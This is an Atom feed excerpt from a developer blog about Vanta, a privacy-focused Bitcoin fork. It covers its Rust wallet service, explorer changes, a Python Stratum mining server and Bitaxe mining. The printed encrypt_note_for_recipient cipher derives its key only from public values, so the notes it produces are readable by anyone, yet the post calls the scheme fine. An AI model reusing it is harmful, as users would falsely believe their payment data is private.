<p>wallet-ui: merge privacy view into unified dashboard + rescan endpoint</p>
</blockquote>
<p>— is what landed when we collapsed the previously-separate <code>/privacy</code> page into the <code>/dashboard</code> page so users see <em>one</em> balance (&quot;private balance&quot;) and <em>one</em> feed of activity. Behind the scenes the dashboard is calling:</p>
<ul>
<li><code>GET /api/info</code> against the Axum wallet for L1 status (block count, connection count)</li>
<li><code>GET /status</code> against <code>vanta-node</code> for the L2 status (commitment count, nullifier count, SMT root)</li>
<li><code>GET /notes</code> against <code>vanta-node</code> for the wallet&#39;s shielded note inventory</li>
<li><code>POST /api/sync</code> (the new rescan endpoint) to trigger a re-scan of L1 + L2 against the wallet&#39;s keys</li>
</ul>
<p>The unified-dashboard logic lives in <a href="https://github.com/Dax911/vanta/blob/main/wallet-ui/src/pages/dashboard.tsx"><code>wallet-ui/src/pages/dashboard.tsx</code></a>. The L2 status card is a five-second auto-refresh that pulls SMT root, commitment count, nullifier count, and last block height, and renders it as four monospace numbers under the &quot;L2 Privacy Layer&quot; header. That&#39;s the surface a user sees; behind it are two Rust services and a C++ node.</p>
<h2>Why a separate service instead of merging into vanta-node</h2>
<p>A reasonable design question: why does <code>wallet/</code> exist at all? Why isn&#39;t this one of <code>vanta-node</code>&#39;s API endpoints?</p>
<p>Two reasons.</p>
<p><strong>Bitcoin-RPC stays as the wallet boundary.</strong> The set of operations the L1 wallet does (send, receive, balance) maps 1:1 to Bitcoin Core RPC calls. Wrapping those in a small Axum service means the service is <em>replaceable</em> by anything that speaks the same five endpoints — a CLI, a different language wallet, a hardware-wallet integration. That&#39;d be harder if the L1 wallet primitives were tangled into the L2 sidecar&#39;s REST API.</p>
<p><strong><code>vanta-node</code> runs without a wallet.</strong> A node operator who wants to index the chain but doesn&#39;t have a wallet on the node — say, a cold-storage setup or an indexer service — should be able to run <code>vanta-node</code> cleanly without a transparent-wallet listener implicitly bound. Keeping them separate means each service does one job.</p>
<p>The desktop app is the unified frontend that talks to both. The web wallet is the developer/debug frontend that talks to the L1 service. In the medium term I expect the web wallet to be deprecated in favour of &quot;you run the desktop app&quot; — but the Axum service is staying for as long as anyone wants a portable HTTP-shaped wallet.</p>
<h2>What I would do differently</h2>
<p>Three things.</p>
<ol>
<li><strong>Bind to 127.0.0.1 by default.</strong> The current <code>0.0.0.0:8085</code> is a footgun for someone who runs this in a non-trusted network without thinking about firewalls. Default to localhost; the user can opt-in to LAN exposure with a flag.</li>
<li><strong>Drop <code>bitcoincore-rpc</code> for hand-rolled <code>reqwest</code>.</strong> The crate is fine but I have hit type-mismatch issues every time <code>vantad</code> returns a slightly off-vanilla shape (e.g. our extra <code>value_balance</code> field on transactions). Going hand-rolled lets the wallet evolve with the chain without the upstream crate&#39;s maintainer in the loop.</li>
<li><strong>Type the receive endpoint against bech32.</strong> Right now <code>getnewaddress</code> defaults to whatever the node is configured for (legacy <code>Z</code> or bech32 <code>vnt1</code>). The wallet should pass <code>bech32</code> explicitly so the address format the user sees is consistent.</li>
</ol>
<p>None of these are urgent. The Axum wallet does its job. It&#39;s not the wallet I want to ship to a million users. It is the wallet I want behind the wallet I ship to a million users — a debug surface for me, when something is wrong with the chain and I want to talk to it from <code>curl</code>.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/wallet/src/main.rs"><code>wallet/src/main.rs</code></a> — the entire Axum service, 250 lines</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/wallet/Cargo.toml"><code>wallet/Cargo.toml</code></a> — the dependency tree (small on purpose)</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/wallet-ui/src/pages/dashboard.tsx"><code>wallet-ui/src/pages/dashboard.tsx</code></a> — the React dashboard that calls this service</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — what replaces this for end users</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — how <code>vanta-node</code> complements this service</li>
<li><a href="https://bitcoincore.org/en/doc/27.0.0/">Bitcoin Core JSON-RPC docs</a> — the upstream contract the Axum service wraps</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[BTC RPC tunnel scripts for swap testing]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-btc-rpc-tunnel-scripts/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/e624a8e"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-btc-rpc-tunnel-scripts/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="bitcoin"/>
  <category term="dev-environment"/>
  <category term="ssh"/>
  <content type="html"><![CDATA[<p>Shipped the <a href="/blog/vanta_btc_tunnel_dev_environment/">btc-tunnel.sh</a> family for vanta-desktop. Two parts: an SSH local-forward to a remote <code>bitcoind</code>&#39;s RPC port, and an address-watcher loop that polls for confirmations on a set of P2WPKH addresses without exposing your local node.</p>
<p>Pattern that&#39;s saved me twice now: never run <code>bitcoind</code> on <code>0.0.0.0:8332</code>. Always bind to <code>127.0.0.1:8332</code> and SSH-forward. The number of testnet bitcoinds I&#39;ve seen with public RPC binding is non-zero and every one of them has been mined for spam.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Private atomic-swap price discovery, draft 1]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-private-swap-price-discovery/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/e770e05"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-private-swap-price-discovery/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="atomic-swaps"/>
  <category term="zk"/>
  <category term="design"/>
  <content type="html"><![CDATA[<p>Spent yesterday writing the price-discovery design for <a href="https://github.com/Dax911/vanta">vanta-swap</a>. The interesting part isn&#39;t the HTLC primitive — that&#39;s been solved since <a href="/blog/vanta_swap_htlc_walkthrough/">BIP-199</a> — it&#39;s the <em>price oracle</em> problem when both legs are private.</p>
<p>If neither side reveals the amount, who arbitrates the rate? Three options: pre-committed price ranges (boring), threshold-decrypter set (works but adds trust), or a <a href="/blog/verifiable_shuffles_for_privacy/">verifiable shuffle</a> over a batch of bids. Going with option 3.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ZK transfers as first-class citizens in vanta-explorer]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-explorer-zk-first-class/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/c912fc0"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-explorer-zk-first-class/"/>
  <published>2026-04-16T04:23:25.000Z</published>
  <updated>2026-04-16T04:23:25.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="explorer"/>
  <category term="zk"/>
  <category term="ux"/>
  <content type="html"><![CDATA[<p>The explorer used to render ZK transfers as &quot;unknown opcode&quot; because the parser was Bitcoin-Core-flavoured and didn&#39;t speak our witness-v2. Refactored to detect the privacy opcode prefix early in the decoder, then route to a dedicated renderer that shows nullifiers, commitments, and proof byte length without ever trying to interpret the encrypted note ciphertext.</p>
<p>Genesis scan was the surprise win: by walking from height 0 with the new parser, I found 4 mis-attributed legacy txns that the old explorer had been showing as &quot;coinbase&quot; forever. Bug fix and historical-correctness fix in one commit.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[vanta-explorer v2: API + SPA on a single port]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-explorer-single-port-deploy/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/c587758"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-explorer-single-port-deploy/"/>
  <published>2026-04-16T03:59:01.000Z</published>
  <updated>2026-04-16T03:59:01.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="deploy"/>
  <category term="fly.io"/>
  <category term="infra"/>
  <content type="html"><![CDATA[<p>The explorer was running as two separate Fly machines: one Node API at <code>:3000</code>, one nginx-served SPA at <code>:80</code>. Doubled the rent, doubled the surface area. Consolidated into a single Express handler that serves the SPA on <code>/</code> and the JSON API on <code>/api/*</code>.</p>
<p>The thing nobody tells you: Fly&#39;s free tier is metered per <em>machine</em>, not per <em>port</em>. A 2-machine setup of two 256MB VMs is twice the cost of one 512MB VM serving both. Saved $11/month.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Remote /prove endpoint + desktop Linux WebKit fix]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-remote-prove-endpoint/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/dfe8f0a"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-remote-prove-endpoint/"/>
  <published>2026-04-16T03:55:10.000Z</published>
  <updated>2026-04-16T03:55:10.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="tauri"/>
  <category term="linux"/>
  <category term="ux"/>
  <content type="html"><![CDATA[<p>For users on phones or low-end laptops, generating a Groth16 proof in 1.5s is still 1.5s of dead UI. Added a <code>/prove</code> endpoint on vanta-explorer that takes a witness, runs the prover server-side, and returns the 128-byte proof. Trust trade-off documented in the desktop app — server sees the witness, but only the user sees the resulting note keys.</p>
<p>Same commit fixes the Linux WebKit build for vanta-desktop. Tauri&#39;s WebView2 default works on Windows and macOS but Linux needs <code>WEBKIT_DISABLE_COMPOSITING_MODE=1</code> for the proof-modal animation to not crash on AMD GPUs. Three hours of bisecting to find that one line.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Stratum v1, the from-scratch Python version]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_stratum_python_pool/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_stratum_python_pool/"/>
  <published>2026-04-13T17:34:24.000Z</published>
  <updated>2026-04-16T03:11:15.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="mining"/>
  <category term="stratum"/>
  <category term="python"/>
  <category term="bitaxe"/>
  <category term="privacy"/>
  <summary type="html"><![CDATA[Solo mining Vanta requires a Stratum server. Public-pool is fine for normal chains; mandatory privacy pushes the pool toward shielded coinbases, encrypted-note submission, and an L2 retry queue. pool/stratum_server.py does it all in stdlib Python.]]></summary>
  <content type="html"><![CDATA[<p>I wrote about <a href="/blog/mining_vanta_with_a_bitaxe/">mining VANTA with a Bitaxe BM1368</a> — the hardware, the watts, the difficulty math, why solo mining a privacy fork actually pays off where solo mining Bitcoin in 2026 doesn&#39;t. This post is the deeper companion: what the Python Stratum server <em>does</em> once you&#39;ve decided to write one from scratch, and why the privacy chain forced a few changes that wouldn&#39;t be required on a vanilla Bitcoin fork.</p>
<p>The whole server is one file: <a href="https://github.com/Dax911/vanta/blob/main/pool/stratum_server.py"><code>pool/stratum_server.py</code></a>. No external dependencies — pure stdlib Python. Around 600 lines. Every line earns its place; this isn&#39;t an optimised pool, it&#39;s a <em>correct</em> pool that I can debug from a terminal at 4 AM.</p>
<h2>Why Python at all</h2>
<p>A reasonable thing to ask: &quot;you&#39;re shipping Rust everywhere else, why is the pool Python?&quot;</p>
<p>Three reasons.</p>
<ol>
<li><strong>Stratum v1 is a 200-line protocol.</strong> It&#39;s JSON over a long-lived TCP connection. <code>socketserver.ThreadingTCPServer</code> is exactly the right shape: one thread per connected miner, blocking I/O, no async machinery to argue about.</li>
<li><strong>The interesting work is talking to <code>vantad</code> over JSON-RPC and to the L2 sidecar over REST.</strong> Both are HTTP-shaped. <code>http.client</code> and <code>urllib.request</code> are stdlib. Zero dependency surface.</li>
<li><strong>I can edit the running pool.</strong> When you&#39;re debugging a chain at 4 AM and your Bitaxe disconnected, &quot;edit the script and restart&quot; is a faster path than &quot;edit the Rust, recompile, redeploy, kill and restart.&quot; Python wins on the iteration loop.</li>
</ol>
<p>The full upstream story is that Vanta originally used a public-pool fork (Node.js) and the Python server is the <em>replacement</em> I wrote when the public-pool fork couldn&#39;t handle the privacy-coinbase requirements. That&#39;s the part the rest of this post is about.</p>
<h2>Mandatory privacy mining</h2>
<p>Vanta v2 chain consensus rejects any non-coinbase transaction that doesn&#39;t satisfy the witness-v2 commitment-binding rules. <strong>Coinbase transactions are also required to be witness v2.</strong> From the top of the Stratum server:</p>
<pre><code class="language-python">SHIELDED_PUBKEY = os.environ.get(&quot;SHIELDED_PUBKEY&quot;, &quot;&quot;).strip()
if not SHIELDED_PUBKEY or len(SHIELDED_PUBKEY) != 64:
    print(&quot;[FATAL] SHIELDED_PUBKEY env var is required (32-byte hex, 64 chars).&quot;, file=sys.stderr)
    print(&quot;        Vanta v2 chain has no transparent mining payouts.&quot;, file=sys.stderr)
    sys.exit(1)
</code></pre>
<p>The pool refuses to start without a shielded pubkey. There is no transparent fallback. A miner who points a Bitaxe at this server is paying out into a shielded note from block one.</p>
<p>The note-construction code is also worth quoting because it pinned down the on-chain format we ended up shipping:</p>
<pre><code class="language-python">def create_mining_note(value: int, owner_pubkey: bytes) -&gt; tuple:
    &quot;&quot;&quot;Create a private note for auto-shielded mining reward.
    Returns (commitment_hash, randomness).&quot;&quot;&quot;
    randomness = os.urandom(32)
    preimage = (
        struct.pack(&#39;&lt;Q&#39;, value) +      # 8 bytes LE
        owner_pubkey +                    # 32 bytes
        struct.pack(&#39;&lt;I&#39;, 0) +            # asset_type = 0 (native VANTA)
        randomness                        # 32 bytes
    )
    commitment = hash_with_domain(b&quot;Vanta/NoteCommitment/v1&quot;, preimage)
    return commitment, randomness
</code></pre>
<p>This is <em>exactly</em> the commitment scheme <code>vanta-core</code> uses on the Rust side. The pool is hashing in Python because the pool is the thing that knows the value (the block subsidy) at coinbase-construction time. The wallet later trial-decrypts the encrypted-note submission and sees the same commitment land in its inbox.</p>
<p><code>witness_v2_script</code> builds the scriptPubKey:</p>
<pre><code class="language-python">def witness_v2_script(commitment_hash: bytes) -&gt; bytes:
    &quot;&quot;&quot;Build witness v2 scriptPubKey: OP_2 PUSH32 &lt;commitment&gt;.&quot;&quot;&quot;
    return bytes([0x52, 0x20]) + commitment_hash
</code></pre>
<p><code>OP_2 PUSH32 &lt;commitment&gt;</code> is the witness-v2 anchor format; the C++ consensus code parses this exactly and uses the pushed 32 bytes as the input commitment when a future spend witness comes through. From the chain&#39;s perspective, the coinbase pays into &quot;this commitment&quot; and the value field on the transaction is zero. The pool also adds an OP_RETURN anchor for L2 indexers to find:</p>
<pre><code class="language-python">def commitment_anchor_script(commitment_hash: bytes) -&gt; bytes:
    &quot;&quot;&quot;Build OP_RETURN anchor: OP_RETURN PUSH34 bb00 &lt;commitment&gt;.&quot;&quot;&quot;
    payload = bytes([0xbb, 0x00]) + commitment_hash  # 34 bytes
    return bytes([0x6a]) + encode_varint(len(payload)) + payload
</code></pre>
<p><code>OP_RETURN 0xbb 0x00 &lt;commitment&gt;</code> is the indexer-side anchor; <code>vanta-node</code>&#39;s L1 watcher scans for this byte sequence and feeds matches into the SMT.</p>
<h2>Solo-mining accounting vs pool accounting</h2>
<p>Public pools track per-miner shares and pay out at end-of-round based on share contributions. The math is non-trivial: PPLNS, FPPS, score-based, etc. A solo pool doesn&#39;t need any of that. Whoever finds the block keeps the whole reward. The Stratum server has miners, but the only thing it does with their share-count is <em>monitoring</em>, not accounting.</p>
<p>This simplification is huge. There&#39;s no payout database, no end-of-round settlement, no fee policy, no withdrawal endpoint. The pool&#39;s only persistent state is:</p>
<ol>
<li>The pending-L2-submission queue (<code>pending_l2_submissions.json</code>).</li>
<li>Optionally the local note backup (<code>SHIELDED_NOTES_FILE</code>, off by default).</li>
</ol>
<p>Both are JSON files. The pool can be killed, restarted, even moved between machines, and the only state that matters is the on-chain commitment + the L2 sidecar&#39;s encrypted-note inbox. The pool host isn&#39;t the source of truth for anything user-visible.</p>
<p>This is <em>exactly</em> how a solo-mining server should work. The complexity of a public-pool comes from settling between multiple miners. A solo-pool inherits none of that.</p>
<h2>The L2 retry queue</h2>
<p>This is the thing that ate a week to get right. The flow:</p>
<ol>
<li>Bitaxe submits a share that meets block difficulty.</li>
<li>Pool calls <code>submitblock</code> against <code>vantad</code>.</li>
<li><code>vantad</code> accepts the block.</li>
<li>Pool generates the encrypted note for the miner&#39;s reward.</li>
<li>Pool POSTs the encrypted note to <code>vanta-node</code>&#39;s <code>/submit</code> endpoint.</li>
</ol>
<p>What if step 5 fails? The L2 sidecar might be restarting, network might be flaky, sidecar might be slow under load. We can&#39;t lose the encrypted note — without it, the miner&#39;s wallet can&#39;t discover the reward.</p>
<p>The first version retried in-process, blocking the share-acceptance loop. Bad idea: a slow L2 stalls the whole pool.</p>
<p>The second version queued the failed submission to a file and a background thread retried every 30 seconds:</p>
<pre><code class="language-python">def _retry_worker():
    &quot;&quot;&quot;Background worker — drains the L2 retry queue every 30 seconds.&quot;&quot;&quot;
    while True:
        try:
            drain_pending_l2_queue()
        except Exception as e:
            print(f&quot;[SHIELD] retry worker error: {e}&quot;)
        time.sleep(30)
</code></pre>
<p>This is the version that shipped. Failed submissions go to <code>pending_l2_submissions.json</code>, get retried until accepted, get removed from the queue. The pool host can be restarted and the queue persists.</p>
<p>A subtle detail: this is called <em>only</em> on <code>submitblock</code> accept, not on every Stratum job-template push. From the comment in <code>save_shielded_note</code>:</p>
<pre><code class="language-python">&quot;&quot;&quot;Persist mining note and submit encrypted note to L2 for wallet discovery.

Called ONLY after a winning block is accepted by submitblock — never from
the per-share job-template path, otherwise the L2 SMT fills up with phantom
commitments for templates that never won the PoW race.
&quot;&quot;&quot;
</code></pre>
<p>The first version called this from the job-template path, which is the path that runs every time the pool decides to push fresh work to its connected miners. With a 1-minute block time and longpoll discipline, that&#39;s roughly every 1–2 seconds. So the L2 SMT was getting hundreds of phantom commitments per actual block, all for blocks that never won the PoW race. That bug shipped to a testnet for about 6 hours before I noticed; the cleanup involved replaying the L2 from genesis with the fix applied. Don&#39;t put non-idempotent side effects in your job-template path.</p>
<h2>Encrypted-note construction</h2>
<p>The <code>encrypt_note_for_recipient</code> function is the bit that lets a miner&#39;s wallet <em>find</em> its reward without the chain leaking what was paid:</p>
<pre><code class="language-python">def encrypt_note_for_recipient(recipient_pubkey: bytes, value: int, asset_type: int,
                                randomness: bytes, commitment: bytes) -&gt; dict:
    &quot;&quot;&quot;Encrypt note data so the recipient can discover it via L2 sync.
    Matches vanta-core encrypt.rs exactly: domain-separated SHA256 + XOR stream.&quot;&quot;&quot;
    ephemeral_secret = os.urandom(32)
    ephemeral_pubkey = hash_with_domain(b&quot;Vanta/Ephemeral/v1&quot;, ephemeral_secret)
    shared_secret = hash_with_domain(b&quot;Vanta/SharedSecret/v1&quot;, ephemeral_pubkey + recipient_pubkey)
    plaintext = struct.pack(&#39;&lt;Q&#39;, value) + struct.pack(&#39;&lt;I&#39;, asset_type) + randomness
    ciphertext = bytearray()
    for block_idx in range((len(plaintext) + 31) // 32):
        stream_input = shared_secret + struct.pack(&#39;&lt;I&#39;, block_idx)
        keystream = hash_with_domain(b&quot;Vanta/Stream/v1&quot;, stream_input)
        chunk = plaintext[block_idx * 32 : (block_idx + 1) * 32]
        for i, b in enumerate(chunk):
            ciphertext.append(b ^ keystream[i])
    return {
        &quot;ephemeral_pubkey&quot;: list(ephemeral_pubkey),
        &quot;ciphertext&quot;: list(ciphertext),
        &quot;commitment&quot;: list(commitment),
    }
</code></pre>
<p>This is a hand-rolled XOR-stream cipher with domain-separated SHA-256 as the keystream generator. The comment notes &quot;matches vanta-core encrypt.rs exactly&quot; — the Rust side of the protocol does the same thing, so the wallet trial-decrypts in Rust against the Python-encrypted notes from the pool and they line up.</p>
<p>A note on this scheme that an auditor would (rightly) flag: a hand-rolled XOR stream cipher with SHA-256 as the keystream generator is <em>fine</em> for this use case (small, fixed-length plaintexts, ephemeral keys, no nonce reuse risk because every note has fresh randomness) but it is the kind of cryptographic choice you have to defend in a post-mortem. The papers&#39; <a href="https://github.com/Dax911/vanta/blob/main/papers/01-executive-summary.md">Executive Summary</a> mentions that the encryption layer for general transfers is XChaCha20-Poly1305 — for the <em>coinbase auto-shield</em> the Stratum server uses this lighter scheme because the value, asset_type, and randomness are all already domain-separated by the broader commitment construction. <strong>TODO: Dax confirm we want to align the coinbase encryption scheme with the general-transfer XChaCha20 path before mainnet calcification.</strong></p>
<h2>Longpoll discipline</h2>
<p>The other thing the Stratum server has to get right is <em>fresh work</em>. With 1-minute block times, a miner that&#39;s still hashing against last block&#39;s template is wasting effort. The pool polls <code>vantad</code> for <code>getblocktemplate</code> with a <code>longpollid</code>, blocks until either a new template is available or a timeout fires, then immediately pushes a new <code>mining.notify</code> to every connected miner.</p>
<p>The window from &quot;new block found by someone else&quot; to &quot;all my Bitaxes have new work&quot; is the metric I tune. With local RPC and longpoll, it&#39;s ~50ms. Worth the engineering — every wasted second of stale work is a measurable hashrate drop on the miner side.</p>
<h2>What I would do differently</h2>
<ol>
<li><strong>Go async Python.</strong> The current threadpool pattern is fine for a handful of Bitaxes. If a public solo-pool ever grew to thousands of miners, threads would be the wrong choice. <code>asyncio</code> + <code>aiohttp</code> is the swap.</li>
<li><strong>Ship a CPU miner alongside.</strong> I noted this in the <a href="/blog/mining_vanta_with_a_bitaxe/">Bitaxe post</a>. 200 lines of Rust. Should have done it day one.</li>
<li><strong>Health endpoint.</strong> A <code>/health</code> HTTP route that returns the pool&#39;s view of itself: connected miners, last block found, current difficulty, retry queue depth. Trivial; on the list.</li>
<li><strong>Move the encryption scheme to align with the rest of the chain.</strong> As the TODO above.</li>
</ol>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/pool/stratum_server.py"><code>pool/stratum_server.py</code></a> — the entire server in one file</li>
<li><a href="/blog/mining_vanta_with_a_bitaxe/">Mining VANTA with a Bitaxe BM1368</a> — sister post on the hardware side</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — what <code>/submit</code> lands in</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain the pool feeds blocks into</li>
<li><a href="https://reference.cash/protocol/network/stratum">Stratum v1 protocol reference</a> — the wire format</li>
<li><a href="https://github.com/skot/bitaxe"><code>skot/bitaxe</code></a> — the open-hardware miner</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[COINBASE_MATURITY=30 + L2 /submit stops mutating SMT]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-coinbase-maturity-30/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/d824b20"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-coinbase-maturity-30/"/>
  <published>2026-04-16T03:11:15.000Z</published>
  <updated>2026-04-16T03:11:15.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="consensus"/>
  <category term="merkle"/>
  <category term="invariants"/>
  <content type="html"><![CDATA[<p>Bitcoin uses <code>COINBASE_MATURITY=100</code> (you can&#39;t spend a coinbase output until 100 blocks deep). With our 1-minute target block time, that&#39;s 100 minutes of waiting before mining rewards become spendable. Cut to <code>30</code> for a smoother dev/UX experience. Still safe — the reorg history on Vanta is dominated by 1-deep reorgs.</p>
<p>Bigger fix in the same commit: the L2 <code>/submit</code> endpoint was mutating the sparse Merkle tree even on validation failure, leaving us with phantom commitments that no proof could ever spend. Now it builds the candidate state, runs every check, and only mutates after <code>validate_v2()</code> returns true.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Mining VANTA with a Bitaxe BM1368]]></title>
  <id>https://blog.skill-issue.dev/blog/mining_vanta_with_a_bitaxe/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/mining_vanta_with_a_bitaxe/"/>
  <published>2026-04-15T18:00:00.000Z</published>
  <updated>2026-04-15T18:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="mining"/>
  <category term="bitaxe"/>
  <category term="asic"/>
  <category term="stratum"/>
  <category term="hardware"/>
  <summary type="html"><![CDATA[A 350 GH/s, ~12 W open-hardware ASIC plugged into a Stratum server I wrote against my own L1. Solo mining isn't economic on Bitcoin in 2026. On a 1-minute-block fork with 100k subsidy, the math changes.]]></summary>
  <content type="html"><![CDATA[<p>There is a very specific feeling you only get when a small piece of hardware sitting on your desk solves a block on a chain <em>you wrote.</em> The first time it happened on Vanta — somewhere around 4 AM on a Tuesday — I had to stare at the explorer for a minute and confirm I wasn&#39;t hallucinating.</p>
<p>This post is the writeup of the mining stack: a <a href="https://github.com/skot/bitaxe">Bitaxe BM1368</a> talking Stratum to a Python server I wrote against <a href="https://github.com/Dax911/vanta"><code>vantad</code></a> RPC, generating real blocks on a real chain that I am, transparently, the operator of. It&#39;s also a continuation of <a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a> — only this time the unit economics actually work.</p>
<h2>The hardware</h2>
<p>The <a href="https://github.com/skot/bitaxe">Bitaxe BM1368</a> is the open-hardware ASIC of choice for the solo-mining renaissance. The board is roughly the size of a deck of cards. It pulls about 12 watts at the wall. It hashes at ~350 GH/s — that&#39;s 350 <em>gigahashes</em> per second.</p>
<p>Compare that to my year at Foundry Digital: the Antminer S19 XPs we deployed by the rack pull ~3 kW each and hash at ~140 TH/s. So one XP is worth roughly <em>400 Bitaxes</em> in hashrate, at <em>250x the power draw.</em> The Bitaxe wins on watts-per-hash but loses on hash-per-dollar-of-capex by about an order of magnitude.</p>
<p>That trade is exactly why solo mining Bitcoin in 2026 is essentially a lottery. With current Bitcoin difficulty, a single Bitaxe expects to find a block once every several centuries. Most operators run them as conversation pieces, not as economic mining rigs.</p>
<p>On Vanta, the math changes.</p>
<h2>Vanta difficulty math</h2>
<p>Vanta&#39;s chain parameters are deliberately tuned for small operators:</p>
<ul>
<li><strong>1-minute block time</strong> (vs Bitcoin&#39;s 10 minutes)</li>
<li><strong>Difficulty retarget every 60 blocks</strong> (~1 hour, vs Bitcoin&#39;s 2016 blocks / ~2 weeks)</li>
<li><strong>Total network hashrate, today: low</strong></li>
</ul>
<p>The tight retarget loop means difficulty tracks live network hashrate within an hour. The low total hashrate means a single Bitaxe is a meaningful fraction of the network. As of writing this post — and this number changes every hour — my Bitaxe is finding ~1-2 blocks per day on Vanta. That&#39;s 100,000-200,000 VANTA per day flowing into a wallet, on a chain whose ZK-privacy properties I designed myself.</p>
<p>I am <em>deeply aware</em> of how this looks. It is the founder of an L1 chain talking about how easy it is to mine the chain he founded. So let me say the loud part: <strong>this is the testnet phase.</strong> As more miners join, my hashrate becomes a smaller fraction of the network, my expected blocks-per-day drops, the subsidy gets distributed more widely, and that is the point. The Bitaxe-friendly difficulty is a feature for the <em>first generation</em> of miners; it scales out gracefully as the network grows.</p>
<h2>The Stratum server</h2>
<p>Bitaxes speak <a href="https://reference.cash/protocol/network/stratum">Stratum v1</a> — the JSON-RPC over TCP protocol that&#39;s been around since the early Bitcoin days. They expect a Stratum <em>server</em> (often called a &quot;pool&quot;) to send them work and accept their submitted shares.</p>
<p>I wrote one. It lives in <a href="https://github.com/Dax911/vanta/tree/main/pool"><code>pool/</code> of the vanta monorepo</a>. It&#39;s Python, not Rust, because Stratum is a 200-line protocol and the Python <code>socketserver</code> library is exactly what you want for &quot;spawn a thread per connected miner, marshal JSON, talk to a local node over RPC.&quot;</p>
<p>The flow is:</p>
<pre><code>       Bitaxe                    pool/server.py                vantad RPC
         │                              │                          │
         │── mining.subscribe ─────────►│                          │
         │◄────────── subscribe.result ─│                          │
         │── mining.authorize ─────────►│                          │
         │◄───────── authorize.result ──│                          │
         │                              │                          │
         │                              │─── getblocktemplate ────►│
         │                              │◄────── block template ───│
         │                              │                          │
         │◄────── mining.notify (job) ──│                          │
         │── mining.submit (share) ────►│                          │
         │                              │── submitblock (if win) ─►│
         │                              │◄──── block accepted ─────│
         │◄───────── submit.result ─────│                          │
</code></pre>
<p>Two things matter for a chain operator that don&#39;t matter for a public pool:</p>
<ol>
<li><strong>Solo mining payouts.</strong> This isn&#39;t a pool with multiple miners splitting rewards by share contribution. Every share that meets the <em>block</em> difficulty (not just the per-miner pool difficulty) is a block; the entire 100,000 VANTA subsidy goes to the miner&#39;s payout address. The Stratum server doesn&#39;t track shares for accounting — it tracks them for monitoring.</li>
<li><strong>Block-template freshness.</strong> With 1-minute blocks, a stale block template means you&#39;re hashing against a block that&#39;s already mined. The server polls <code>vantad</code> for <code>longpollid</code> changes and pushes a new <code>mining.notify</code> to all connected miners within ~50 ms of a new block landing. Miss that window and your effective hashrate drops.</li>
</ol>
<p>The second one is the actual engineering work. Naive implementations push templates every 30 seconds and waste 50% of the miner&#39;s effort on stale work. The longpoll-aware version is in <code>pool/server.py:handle_longpoll()</code> if you want to see it.</p>
<h2>Wattage, heat, and noise</h2>
<p>People who haven&#39;t lived with mining hardware always ask about the noise.</p>
<p>Stock Bitaxe BM1368: ~50 dB at 12 W. About as loud as a desktop PC under load. Sits on my desk next to the keyboard. Doesn&#39;t bother me.</p>
<p>A <em>rack</em> of 12 Bitaxes (which is roughly equivalent to one S19 XP in hashrate, at less wattage) is louder. ~70 dB. Tolerable in a closet, not in a living room.</p>
